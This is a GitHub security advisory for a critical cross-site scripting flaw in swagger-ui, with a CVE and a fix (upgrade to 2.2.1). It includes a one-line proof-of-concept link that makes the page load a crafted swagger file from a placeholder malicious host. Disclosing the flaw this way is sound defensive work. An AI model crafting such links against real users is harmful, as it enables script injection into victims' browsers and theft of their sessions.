swagger-api/swagger-ui · Security
Cross-Site Scripting in swagger-ui
- GHSA ID
- GHSA-7f59-x49p-v8mq
- CVE ID
- CVE-2016-1000226
- Severity
- critical
- Published
- Updated
Description
Affected versions of swagger-ui are vulnerable to cross-site scripting in both the consumes and produces parameters of the swagger JSON document for a given API.
Additionally, swagger-ui allows users to load arbitrary swagger JSON documents via the query string parameter url, allowing an attacker to exploit this attack against any user that the attacker can convince to visit a crafted link.
Proof of Concept
http://<USER_HOSTNAME>/swagger-ui/index.html?url=http://<MALICIOUS_HOSTNAME>/malicious-swagger-file.json
Recommendation
Update to version 2.2.1 or later.
CWEs
- CWE-79 · Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')